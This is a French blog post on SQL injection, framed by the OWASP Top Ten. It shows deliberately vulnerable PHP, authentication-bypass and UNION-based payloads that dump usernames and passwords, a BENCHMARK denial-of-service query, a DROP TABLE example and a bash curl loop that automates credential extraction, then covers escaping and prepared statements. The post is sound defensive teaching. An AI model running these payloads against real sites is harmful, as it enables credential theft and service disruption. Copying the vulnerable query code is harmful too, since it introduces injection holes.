{"id":175,"date":"2013-09-02T22:27:20","date_gmt":"2013-09-02T21:27:20","guid":{"rendered":"http:\/\/www.mickael-franc.fr\/blog\/?p=175"},"modified":"2016-03-31T13:54:57","modified_gmt":"2016-03-31T12:54:57","slug":"owasp-injections-sql","status":"publish","type":"post","link":"https:\/\/www.mickael-franc.fr\/blog\/owasp-injections-sql\/","title":{"rendered":"OWASP \/ Injections SQL"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/isql.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-236 size-full\" src=\"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/isql.png\" alt=\"Injections SQL (iSQL)\" width=\"150\" height=\"150\" \/><\/a>Dans ce premier article de <a title=\"Failles applicatives\" href=\"http:\/\/www.mickael-franc.fr\/blog\/failles-applicatives\/\" target=\"_blank\">la s\u00e9rie consacr\u00e9e aux failles applicatives<\/a>, j&rsquo;aborde les injections SQL au travers de l&rsquo;OWASP.<\/p>\n<p style=\"text-align: justify;\">Dans la plupart des syst\u00e8mes d&rsquo;information des \u00ab\u00a0entr\u00e9es utilisateurs\u00a0\u00bb sont permises pour consulter ou alt\u00e9rer des donn\u00e9es issues d&rsquo;une base quelconque. Cette entr\u00e9e utilisateur est un vecteur d&rsquo;attaque qu&rsquo;il faut prendre en consid\u00e9ration lors de la r\u00e9alisation de notre application pour s&rsquo;affranchir de la menace par injections.<br \/>\nUne grande majorit\u00e9 des SI utilise des bases de donn\u00e9es de type relationnelles avec pour langage interpr\u00e9t\u00e9 le SQL. C&rsquo;est donc sur ces types d&rsquo;injections que portera cet article.<br \/>\n<!--more--><\/p>\n<h2>Introduction<\/h2>\n<p style=\"text-align: justify;\">L\u2019OWASP (Open Web Application Security Project) dispose d\u2019un projet de r\u00e9pertorisation des failles les plus couramment utilis\u00e9es par des utilisateurs malintentionn\u00e9s sur Internet. Ce document est accompagn\u00e9 d&rsquo;une qualification des menaces list\u00e9es et d&rsquo;une explication sur l&rsquo;exploitation.<\/p>\n<p style=\"text-align: justify;\">Ce projet se nomme le \u201cTop Ten\u00a0\u00bb (et sort chaque ann\u00e9e si le classement \u00e9volue), il est disponible \u00e0 cette adresse : <a href=\"https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project\">https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project<\/a><\/p>\n<p style=\"text-align: justify;\">Comme chaque ann\u00e9e depuis un petit moment, les failles d\u2019injections arrivent en premi\u00e8re place.<\/p>\n<h2>Qualification de la menace<\/h2>\n<p style=\"text-align: justify;\">Nous allons qualifier notre menace en l\u2019illustrant dans le tableau ci-dessous. La premi\u00e8re colonne correspond \u00e0 des informations g\u00e9n\u00e9riques qui nous serviront de crit\u00e8res, la seconde sera notre indicateur de mesure (crit\u00e8re de pond\u00e9ration) et la derni\u00e8re, une explication remani\u00e9e (issue du TopTen). Pour simplifier, il s\u2019agit donc d\u2019un tableau crois\u00e9 entre plusieurs crit\u00e8res dont les vecteurs d\u2019attaques (donn\u00e9es li\u00e9es \u00e0 l\u2019injection SQL) et les risques r\u00e9sultants de ces attaques (d\u00e9figuration du site, corruption du contenu de la base de donn\u00e9es, pertes de donn\u00e9es confidentielles, interruption totale\/partielle de service, etc..).<\/p>\n<table style=\"border-collapse: collapse;\" border=\"1\">\n<tbody>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">Agent de menace<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #cccccc;\" bgcolor=\"#CCCCCC\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">_<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">Consid\u00e9rer toute personne en mesure de soumettre des donn\u00e9es non fiables au syst\u00e8me, y compris les utilisateurs externes, internes, et les administrateurs.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">Vecteur d\u2019attaque<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #f00;\" bgcolor=\"#F00\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">Exploitation Simple<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">L\u2019attaquant envoie un simple texte exploitant la syntaxe de l\u2019interpr\u00e9teur cibl\u00e9. Presque toute source de donn\u00e9e peut \u00eatre un vecteur d\u2019injection, y compris les sources internes.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">Vraisemblance de la vuln\u00e9rabilit\u00e9<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #ff950e;\" bgcolor=\"#FF950E\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">Commune<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">Les failles d\u2019injection ont lieu lorsqu\u2019une application envoie des donn\u00e9es non contr\u00f4l\u00e9es \u00e0 un interpr\u00e9teur. Les failles d\u2019injection sont extr\u00eamement r\u00e9pandues, particuli\u00e8rement dans les codes existants, tr\u00e8s souvent dans les requ\u00eates SQL, LDAP, Xpath, les commandes syst\u00e8mes, les arguments de programme, etc.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">D\u00e9tection de la vuln\u00e9rabilit\u00e9<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #ff950e;\" bgcolor=\"#FF950E\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">Moyenne<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">Les failles d\u2019injections sont simples \u00e0 d\u00e9couvrir en examinant le code, mais plus difficile via des tests. Les scanners et <a href=\"https:\/\/www.owasp.org\/index.php\/Fuzzing#Fuzzer_implementations\">fuzzers<\/a> peuvent aider un attaquant \u00e0 les d\u00e9couvrir.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">Impact technique<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #f00;\" bgcolor=\"#F00\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">S\u00e9v\u00e8re<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">Une injection peut mener \u00e0 la perte ou corruption de donn\u00e9es, perte de tra\u00e7abilit\u00e9 ou du d\u00e9ni d\u2019acc\u00e8s. Elle peut mener parfois jusqu\u2019\u00e0 la prise de contr\u00f4le total du serveur.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">Impact m\u00e9tier<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #cccccc;\" bgcolor=\"#CCCCCC\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">_<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">Consid\u00e9rer la valeur m\u00e9tier de la donn\u00e9e affect\u00e9e et de la plateforme ex\u00e9cutant l\u2019interpr\u00e9teur. Toutes les donn\u00e9es peuvent-\u00eatre vol\u00e9es, modifi\u00e9es ou effac\u00e9es. Votre image de marque peut-elle \u00eatre entach\u00e9e ?<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\">Seuls les privil\u00e8ges de l\u2019utilisateur ex\u00e9cutant la requ\u00eate peuvent brider les tentatives d\u2019un utilisateur malveillant.<\/p>\n<h2>Exemples d\u2019attaques et m\u00e9thode de test<\/h2>\n<p style=\"text-align: justify;\">Le code pr\u00e9sent\u00e9 par la suite est \u00e0 titre d&rsquo;exemple, volontairement sensible aux injections, donc non s\u00e9curis\u00e9.<\/p>\n<h3><strong>Null authentication :<\/strong><\/h3>\n<p style=\"text-align: justify;\">Admettons un formulaire (non prot\u00e9g\u00e9) de connexion sur un site web lambda. La requ\u00eate permettant la validation d\u2019une connexion aura la forme suivante :<\/p>\n<pre><code class=\"php\">&lt;?php\r\n$query = \"SELECT * FROM utilisateur WHERE login=\".$_POST['login'].\" AND password=\".$_POST[\u2018password\u2019];\r\n<\/code>$result = mysql_query($query) ;\r\nif (count(mysql_fetch_assoc($result)) &gt; 0)\r\n<em>echo \u00ab Vous \u00eates connect\u00e9 ! \u00bb;<\/em>\r\n?&gt;<\/pre>\n<p style=\"text-align: justify;\">Alors si l\u2019utilisateur saisit des identifiants erron\u00e9s, la requ\u00eate renverra la valeur \u00ab false \u00bb.<\/p>\n<p style=\"text-align: justify;\">Que se passerait-il si un utilisateur saisissait dans le champ login\/password :<\/p>\n<pre><code class=\"sql\">blabla\u2019 OR \u20181\u2019=\u20181\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\">Remarquez que le dernier 1 n\u2019a pas de quote de fermeture, toute la subtilit\u00e9 d\u2019une injection se situe dans un jeu d\u2019ouverture et de fermeture de quotes).<\/p>\n<pre><code class=\"sql\">SELECT * FROM utilisateur WHERE login=\u2018blabla\u2019 OR \u20181\u2019=\u20181\u2019 AND password=\u2018blabla\u2019 OR \u20181\u2019=\u20181\u2019\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\">Le r\u00e9sultat d\u2019une telle requ\u00eate renverra toujours \u00ab true \u00bb. C\u2019est pourquoi chaque n-uplets de la table utilisateur est retourn\u00e9. La connexion est donc \u00e9tablie avec un utilisateur NULL.<\/p>\n<p>Si toutefois la condition de connexion \u00e9tait :<\/p>\n<pre><code class=\"php\">&lt;!?php\r\nif (count(mysql_fetch_assoc($result)) == 1)\r\n<\/code><em>echo \u00ab Vous \u00eates connect\u00e9 ! \u00bb;<\/em>\r\n?&gt;<\/pre>\n<p>Alors il suffirait de modifier la cha\u00eene saisie dans le champ password par ceci :<code class=\"sql\"> <\/code><\/p>\n<pre><code class=\"sql\">blabla\u2019 OR \u20181\u2019=\u20181\u2019 LIMIT 1,1 -- \u2018\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\">Le premier param\u00e8tre de la clause LIMIT \u00e9tant l\u2019offset (l\u2019index d\u2019un \u00e9l\u00e9ment dans un ensemble), il est possible de s\u00e9lectionner n\u2019importe quel utilisateur en base avec cette technique.<\/p>\n<h3><strong>Blind injection :<\/strong><\/h3>\n<p style=\"text-align: justify;\">Admettons l\u2019url suivante d\u2019un site lambda :<\/p>\n<p><a href=\"#\">http:\/\/newspaper.com\/items.php?id=2<\/a><\/p>\n<p style=\"text-align: justify;\">Le script enverrait la requ\u00eate suivante \u00e0 la base de donn\u00e9es :<\/p>\n<pre><code class=\"php\">&lt;?php\r\n$query = \"SELECT title, description, body FROM items WHERE id_item=\".$_GET[\u2018id\u2019]\r\n?&gt;\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\">M\u00eame principe que la pr\u00e9c\u00e9dente requ\u00eate, l\u2019attaquant d\u00e9cide de tester si le site est vuln\u00e9rable :<\/p>\n<p style=\"text-align: justify;\">En saisissant dans l\u2019url : \u00ab 2 and 1=1 \u00bb, une fois encod\u00e9 cela donnera la cha\u00eene suivante : \u00ab 2+and+1%3D1 \u00bb<\/p>\n<p><a href=\"http:\/\/newspaper.com\/items.php?id=2+and+1%3D1\">http:\/\/newspaper.com\/items.php?id=2+and+1%3D1<\/a><\/p>\n<p style=\"text-align: justify;\">Si l\u2019application est vuln\u00e9rable, alors il est probable qu\u2019elle ne retourne rien. Cela signifie que la requ\u00eate a renvoy\u00e9 la valeur \u00ab true \u00bb. C\u2019est-\u00e0-dire que l\u2019injection a probablement fonctionn\u00e9. Ce genre de test permet de v\u00e9rifier si une application est vuln\u00e9rable, il faut distinguer la valeur de retour d\u2019une requ\u00eate SQL.<\/p>\n<h3><strong>Timing attack :<\/strong><\/h3>\n<p style=\"text-align: justify;\">Autre exemple pour une base de donn\u00e9es MySQL :<\/p>\n<p style=\"text-align: justify;\">Supposons qu\u2019un pirate ait trouv\u00e9 une faille d\u2019injection SQL sur votre application, il peut tenter une attaque par d\u00e9ni de services (sur votre base de donn\u00e9es).<\/p>\n<pre><code class=\"sql\">SELECT BENCHMARK(5000000,ENCODE(\u2018MSG\u2019, \u2018passe-phrase\u2019));\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\">Cette requ\u00eate permet d\u2019effectuer 5 000 000 de fois l\u2019encodage de la cha\u00eene de caract\u00e8res \u00ab MSG \u00bb gr\u00e2ce \u00e0 la passe-phrase \u00ab passe-phrase \u00bb.<\/p>\n<p style=\"text-align: justify;\">Que se passerait-il si cette requ\u00eate \u00e9tait unie avec une autre (reprenons l\u2019exemple pr\u00e9c\u00e9dent) ?<\/p>\n<pre><code class=\"sql\">SELECT * FROM utilisateur WHERE login=\u2018blabla\u2019 OR \u20181\u2019=\u20181\u2019 AND password=\u2018blabla\u2019 OR \u20181\u2019=\u20181\u2019 UNION SELECT BENCHMARK(5000000,ENCODE(\u2018MSG\u2019, \u2018by 5 seconds\u2019));\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\">En fonction des capacit\u00e9s du serveur de base de donn\u00e9es et de sa charge au cours de l\u2019attaque, le service peut \u00eatre perturb\u00e9 voire indisponible (si l\u2019int\u00e9gralit\u00e9 des ressources sont consomm\u00e9es).<\/p>\n<p style=\"text-align: justify;\">L\u2019id\u00e9e est bonne, mais MySQL interdit l\u2019union de deux requ\u00eates n\u2019ayant pas le m\u00eame nombre de colonnes. Il s\u2019agit \u00e0 pr\u00e9sent de faire plusieurs tests, jusqu\u2019\u00e0 ce que la requ\u00eate soit ex\u00e9cut\u00e9e. Il faut ajouter dans la clause SELECT de la deuxi\u00e8me requ\u00eate, des attributs \u00ab null \u00bb pour simuler une colonne (l\u2019ordre importe peu dans cet exemple), jusqu\u2019\u00e0 avoir le m\u00eame nombre de colonnes que la table avec laquelle nous voulons unir la n\u00f4tre.<\/p>\n<p style=\"text-align: justify;\">Supposons donc que la table utilisateur est compos\u00e9e de 3 colonnes (id, login et password), il faut donc ajouter deux fois une fausse dimension \u00ab null \u00bb, la troisi\u00e8me dimension \u00e9tant d\u00e9finie par la fonction BENCHMARK.<\/p>\n<pre><code class=\"sql\">SELECT * FROM utilisateur WHERE login=\u2018blabla\u2019 OR \u20181\u2019=\u20181\u2019 AND password=\u2018blabla\u2019 OR \u20181\u2019=\u20181\u2019 UNION SELECT null, null, BENCHMARK(5000000,ENCODE(\u2018MSG\u2019, \u2018by 5 seconds\u2019)) ;\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\">Cette fois-ci, la requ\u00eate est valide et ex\u00e9cut\u00e9e.<\/p>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Remarque : <\/span>Un test simple pour v\u00e9rifier si un site est vuln\u00e9rable aux injections est de tester avec une single-quote n\u2019importe quel param\u00e8tre (GET, POST, issu des cookies, et si on est d\u00e9veloppeur du site v\u00e9rifier que les donn\u00e9es issues de la base de donn\u00e9es sont bien \u00e9chapp\u00e9es si souhait\u00e9).<\/p>\n<h3><strong>Dernier exemple (avec remplacement de colonnes \u201ccross table\u201d)<\/strong><\/h3>\n<p style=\"text-align: justify;\">Prenons cette fois-ci le cas d\u2019une consultation d\u2019article disponible depuis l\u2019adresse suivante :<\/p>\n<p><a href=\"http:\/\/site-vuln\u00e9rable\/articles\/consulter\/?news_id=\">http:\/\/site-vuln\u00e9rable\/articles\/consulter\/?news_id=<\/a><\/p>\n<p style=\"text-align: justify;\">Ici, consulter un article quelconque ne nous int\u00e9resse pas, et nous souhaitons r\u00e9cup\u00e9rer les identifiants de un ou encore mieux de tous les utilisateurs.<\/p>\n<p style=\"text-align: justify;\">Dans notre exemple fictif simplifi\u00e9, la table des news n\u2019aura que 3 colonnes :<\/p>\n<ul>\n<li>id<\/li>\n<\/ul>\n<ul>\n<li>title<\/li>\n<\/ul>\n<ul>\n<li>body<\/li>\n<\/ul>\n<p>La requ\u00eate de consultation devrait \u00eatre sous la forme suivante :<\/p>\n<pre>SELECT id, title, body \r\nFROM &lt;nom de la TABLE de news&gt; \r\nWHERE id=&lt;valeur du param\u00e8tre GET&gt;<\/pre>\n<p style=\"text-align: justify;\">Et il existerait une table \u201cusers\u201d contenant les utilisateurs du site et qui contiendrait les champs suivants :<\/p>\n<ul>\n<li>username (unique)<\/li>\n<\/ul>\n<ul>\n<li>password (non chiffr\u00e9 -&gt; donn\u00e9e en clair)<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Pour r\u00e9cup\u00e9rer les donn\u00e9es de la table utilisateur, nous devrons effectuer une jointure sur la table \u201cusers\u201d de sorte \u00e0 ce que la requ\u00eate finale ressemble \u00e0 la suivante :<\/p>\n<pre>SELECT id, title, body \r\nFROM &lt;nom de la TABLE de news&gt; \r\nWHERE id=&lt;valeur du param\u00e8tre GET&gt; \r\nAND 1=0 \r\nUNION SELECT NULL, CONCAT(username,', ',password), NULL \r\nFROM users \r\nLIMIT 0,1<\/pre>\n<p><span style=\"text-decoration: underline;\"><strong>Explication :<br \/>\n<\/strong><\/span><\/p>\n<p>&#8211; \u201c1=0\u201d :<\/p>\n<p style=\"text-align: justify;\">Annule la condition pr\u00e9c\u00e9dente et enl\u00e8ve du r\u00e9sultat les n-uplets de la table source avant jointure<\/p>\n<p>&#8211; \u201cCONCAT(username,&rsquo;, &lsquo;,password) :<\/p>\n<p style=\"text-align: justify;\">Permet de concat\u00e9ner le nom de l\u2019utilisateur et mot de passe s\u00e9par\u00e9 par une virgule.<\/p>\n<p>&#8211; null, CONCAT(username,&rsquo;, &lsquo;,password), null :<\/p>\n<p style=\"text-align: justify;\">Ici, en encadrant notre cha\u00eene concat\u00e9n\u00e9e par une colonne vide, nous venons remplacer les colonnes s\u00e9lectionn\u00e9es dans la requ\u00eate source (on peut aussi utiliser le caract\u00e8re \u20181\u2019, qui aurait donn\u00e9 la m\u00eame chose : une colonne factice).<\/p>\n<p style=\"text-align: justify;\">Le premier \u201cnull\u201d sert \u00e0 prendre la place de la colonne associ\u00e9e \u00e0 l\u2019identifiant d\u2019un article et le 2\u00e8me (null) vient remplacer le corps de l\u2019article par une valeur vide (pour une meilleure lisibilit\u00e9 une fois affich\u00e9 dans la page en guise de r\u00e9sultat !).<\/p>\n<p style=\"text-align: justify;\">Donc, si dans la clause SELECT de la requ\u00eate source nous n\u2019avions que 2 champs, il en faudrait autant pour la clause SELECT de notre jointure.<\/p>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Remarque :<\/span> Il faut le m\u00eame nombre de colonne dans les deux ensembles ! Sous peine de lever une erreur de type : \u201cSELECTs to the left and right of UNION do not have the same number of result columns\u201d<\/p>\n<p>&#8211; \u201cLIMIT 0,1\u201d :<\/p>\n<p>Il s\u2019agit de notre \u201ct\u00eate de lecture\u201d dans la BDD, en incr\u00e9mentant le premier param\u00e8tre nous avancerons notre pointeur sur la table users d\u2019une ligne (donc nous pourrons r\u00e9cup\u00e9rer tous les utilisateurs \u00e0 force d\u2019acharnement).<\/p>\n<p>Donc en passant en param\u00e8tre la cha\u00eene suivante (sans oublier l\u2019espace pour 1er caract\u00e8re) :<\/p>\n<pre>AND 1=0 UNION SELECT NULL,CONCAT(username,', ',password), NULL FROM users LIMIT 0,1<\/pre>\n<p>Exemple d\u2019automatisation basique en BASH :<\/p>\n<pre>#! \/bin\/bash\r\n# Effectuer une requ\u00eate GET sur la ressource vuln\u00e9rable\r\n# Param 1 : Parametres HTTP GET\r\n# Param 2 : D\u00e9limiteur de ligne (pour r\u00e9cup\u00e9rer uniquement la portion ducode HTML souhait\u00e9e)\r\ndo_get_exploit_isql() {\r\n    curl -s --data-urlencode \u201c$1\u201d &lt;url&gt; |grep -F -e \u201c$2\u201d\r\n}\r\ni=0\r\n# R\u00e9cup\u00e9ration des 1000 premier utilisateurs en BDD\r\nwhile [ $i -le 1000 ]; do\r\n    LINE_DELIMITER=\u201cIdentifiant $i: \u201c\r\n    do_get_exploit_isql \"news_id= AND 1=0 UNION SELECT null,CONCAT(\u2018$LINE_DELIMITER\u2019, username,', ',password), null FROM users LIMIT $i,1\" \u201c$LINE_DELIMITER\u201c\r\n    let i=1+$i\r\ndone<\/pre>\n<p>Note : Nous r\u00e9cup\u00e9rons ici, toutes les lignes du code HTML retourn\u00e9 par le serveur Web contenant nos identifiants (\u00e0 mettre en forme).<\/p>\n<h2>Comment s\u00e9curiser les requ\u00eates en PHP ?<\/h2>\n<h3>Solution 1 : \u00e9chappement manuel<\/h3>\n<p style=\"text-align: justify;\">Pour bien valider les donn\u00e9es en entr\u00e9e (avant de les ins\u00e9rer dans la requ\u00eate), il faut \u00e9chapper les caract\u00e8res sp\u00e9ciaux contenu dedans, il existe de nombreuses fonctions d\u2019\u00e9chappement selon la base de donn\u00e9es :<\/p>\n<ul>\n<li>mysql_real_escape_string() : pour un base de donn\u00e9es MySQL (ajoute un anti-slash aux caract\u00e8res suivants : NULL, \\x00, \\n, \\r, \\, &lsquo;, \u00a0\u00bb et \\x1a)<\/li>\n<\/ul>\n<ul>\n<li>sqlite_escape_string() : pour un base de donn\u00e9es Sqlite<\/li>\n<\/ul>\n<ul>\n<li>pg_escape_string() : pour un base de donn\u00e9es PostgreSQL<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Dans le cas o\u00f9 la base de donn\u00e9es est un fichier XML, les requ\u00eates sont alors faites via XPATH. Pour contrer les injections possibles, il faut \u00e9chapper les doubles et simples quotes, les crochets et chevrons comme pour les injections SQL.<\/p>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Remarque : <\/span>Une s\u00e9curit\u00e9 est impl\u00e9ment\u00e9e dans les fonctions X_query() de PHP, elle interdit l\u2019ex\u00e9cution de plus d\u2019une requ\u00eate. Donc, cela rend impossible pour l\u2019attaquant d\u2019injecter dans un champ \u00ab password \u00bb (dans un formulaire de connexion par exemple) :<\/p>\n<pre><code class=\"sql\">blabla\u2019 ; DROP TABLE utilisateur ; \u2013\u2019\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\">Voici la requ\u00eate g\u00e9n\u00e9r\u00e9e par le code PHP :<\/p>\n<pre style=\"text-align: justify;\"><code class=\"sql\">SELECT * \r\nFROM utilisateur \r\nWHERE login=\u2018blabla\u2019 \r\nAND password=\u2018blabla\u2019 ; DROP TABLE utilisateur; \u2013 \u2018\u2018<\/code><\/pre>\n<p style=\"text-align: justify;\">Seule la premi\u00e8re requ\u00eate est ex\u00e9cut\u00e9e, la deuxi\u00e8me est laiss\u00e9e pour compte.<br \/>\nDe plus, lors d\u2019une injection SQL, m\u00eame si l\u2019on commente une partie de la requ\u00eate, et qu\u2019il y a un jeu de quotes, la syntaxe doit rester correcte pour que la requ\u00eate puisse \u00eatre ex\u00e9cut\u00e9e (voir la requ\u00eate plus haut)..<\/p>\n<h3>Solution 2 : les requ\u00eates pr\u00e9par\u00e9es<\/h3>\n<p style=\"text-align: justify;\">\u00c9chapper unitairement chaque param\u00e8tre peut \u00eatre long et fastidieux. L\u2019autre solution consiste \u00e0 utiliser un m\u00e9canisme de s\u00e9curit\u00e9 impl\u00e9ment\u00e9 dans la couche PDO (PHP Data Object), ou dans n\u2019importe quelle sur-couche dans les frameworks \u00e9volu\u00e9s. PDO est une interface pour acc\u00e9der \u00e0 une base de donn\u00e9es depuis PHP (chaque pilote de base de donn\u00e9es est impl\u00e9ment\u00e9).<\/p>\n<p style=\"text-align: justify;\">Par exemple, le Framework PHP Symfony est fourni avec deux ORM + DBAL : Propel et Doctrine. Ces deux ORM sont une sur-couche de PDO.<\/p>\n<p style=\"text-align: justify;\">Lorsque Doctrine ou Propel ex\u00e9cutent une requ\u00eate, un m\u00e9canisme de pr\u00e9paration de requ\u00eate impl\u00e9ment\u00e9 par PDO est utilis\u00e9 (principe des requ\u00eates pr\u00e9par\u00e9es). Concr\u00e8tement, la requ\u00eate est d\u00e9coup\u00e9e en deux parties : une partie fixe et une partie variable.<\/p>\n<ul>\n<li style=\"text-align: justify;\">La partie fixe est celle que l\u2019on va envoyer \u00e0 la base de donn\u00e9es pour pr\u00e9parer l\u2019ex\u00e9cution (prepare statement).<\/li>\n<\/ul>\n<ul>\n<li style=\"text-align: justify;\">La partie variable est celle qui va changer en fonction de l\u2019\u00e9l\u00e9ment qu\u2019on veut charger. Il s\u2019agit des param\u00e8tres qui vont \u00eatre li\u00e9s (binding). Avant que le param\u00e8tre soit li\u00e9 \u00e0 la partie fixe de la requ\u00eate, il est \u00e9chapp\u00e9 avec le m\u00e9thode quote(), ce qui prot\u00e8ge contre les injections SQL car les caract\u00e8res sp\u00e9ciaux ne seront plus interpr\u00e9t\u00e9s.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Remarque : <\/span>Le m\u00e9canisme de pr\u00e9paration de requ\u00eate est automatiquement appliqu\u00e9 lors d\u2019une utilisation \u00ab standard \u00bb de ces ORM.<\/p>\n<p style=\"text-align: justify;\">Cet avantage non n\u00e9gligeable n\u2019est pas sans inconv\u00e9nient au niveau des performances, et selon vos contraintes sur un projet, la premi\u00e8re solution sera certainement moins co\u00fbteuse en temps.<\/p>\n<p style=\"text-align: justify;\">Pour mieux comprendre, je vais d\u00e9tailler. Ce concept a pour vocation de d\u00e9finir un mod\u00e8le type de requ\u00eate, qui sera ex\u00e9cut\u00e9e plusieurs fois afin de sauter certaines \u00e9tapes co\u00fbteuses en temps, dont a besoin le SGBD avant d\u2019ex\u00e9cuter cette derni\u00e8re. Ce mod\u00e8le sera enregistr\u00e9 durant l\u2019ex\u00e9cution du script (\u00e0 ne pas confondre avec les fonctions ou proc\u00e9dures stock\u00e9es).<\/p>\n<p style=\"text-align: justify;\">Une requ\u00eate ordinaire suivra avant ex\u00e9cution les \u00e9tapes suivantes :<\/p>\n<ol>\n<li>Analyse syntaxique<\/li>\n<li>Pr\u00e9-compilation<\/li>\n<li>Ex\u00e9cution<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Alors que la requ\u00eate pr\u00e9par\u00e9e ne sera analys\u00e9e qu\u2019une fois enregistr\u00e9e (lors de l\u2019enregistrement), puis la partie fixe de la requ\u00eate sera associ\u00e9e \/ li\u00e9e \u00e0 la partie variable (les param\u00e8tres) et ex\u00e9cut\u00e9e. Donc d\u00e9finir une requ\u00eate pr\u00e9par\u00e9e am\u00e8ne un gain de temps uniquement dans le cas o\u00f9 elle est r\u00e9utilis\u00e9e, et co\u00fbteuse en ressources dans le cas contraire.<\/p>\n<p>Pour un exemple d\u2019utilisation, se r\u00e9f\u00e9rer \u00e0 la doc PHP :<\/p>\n<p><a href=\"http:\/\/www.php.net\/manual\/fr\/pdo.prepared-statements.php\">http:\/\/www.php.net\/manual\/fr\/pdo.prepared-statements.php<\/a><\/p>\n<p style=\"text-align: justify;\">Toutefois, au del\u00e0 de la th\u00e9orie, il me semble n\u00e9cessaire de quantifier la perte r\u00e9elle impos\u00e9e par l\u2019utilisation d\u2019un tel m\u00e9canisme afin d\u2019\u00eatre en mesure de savoir si cette perte est tol\u00e9rable ou non. Les tests ont \u00e9t\u00e9 effectu\u00e9s sur une table de 10 attributs et disposant de 300 000 enregistrement.<\/p>\n<p style=\"text-align: justify;\">La requ\u00eate ex\u00e9cut\u00e9e est une simple consultation\/lecture de donn\u00e9es (type de requ\u00eate utilis\u00e9e majoritairement dans un site web lambda) sous la forme suivante :<\/p>\n<pre><code class=\"sql\">SELECT * \r\nFROM matable\r\nWHERE name = 'blablabla' \r\nAND city LIKE '%blublublu%'\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\">Dans notre test de performance, notre requ\u00eate de consultation \u00e0 \u00e9t\u00e9 ex\u00e9cut\u00e9e 10 000 fois, et nous faisons ensuite une moyenne du temps pass\u00e9 pour en d\u00e9finir ensuite :<\/p>\n<ul>\n<li>Le gain de temps en seconde<\/li>\n<\/ul>\n<ul>\n<li>Le gain en pourcentage (plus parlant lorsqu\u2019il s\u2019agit d\u2019instructions effectu\u00e9es en seulement quelques milisecondes)<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\"><strong>Remarque importante :<\/strong><\/span> Lors de l\u2019utilisation d\u2019un ORM, il faut bien dissocier le co\u00fbt (en temps) li\u00e9 \u00e0 la pr\u00e9paration de requ\u00eate de celui de l\u2019hydratation des donn\u00e9es (instanciation d\u2019un objet \u201cmapp\u00e9\u201d avec les donn\u00e9es issues de la BDD) par ce dernier. L\u2019hydratation est un proc\u00e9d\u00e9 excessivement co\u00fbteux et bien souvent outrepass\u00e9 lorsque des contraintes de performance sont sp\u00e9cifi\u00e9es.<\/p>\n<table style=\"border-collapse: collapse;\" border=\"1\">\n<tbody>\n<tr>\n<td><\/td>\n<td bgcolor=\"#0084D1\">Temps unitaire (en seconde)<\/td>\n<td bgcolor=\"#0084D1\">Temps pour 10 000 it\u00e9rations (en seconde)<\/td>\n<td 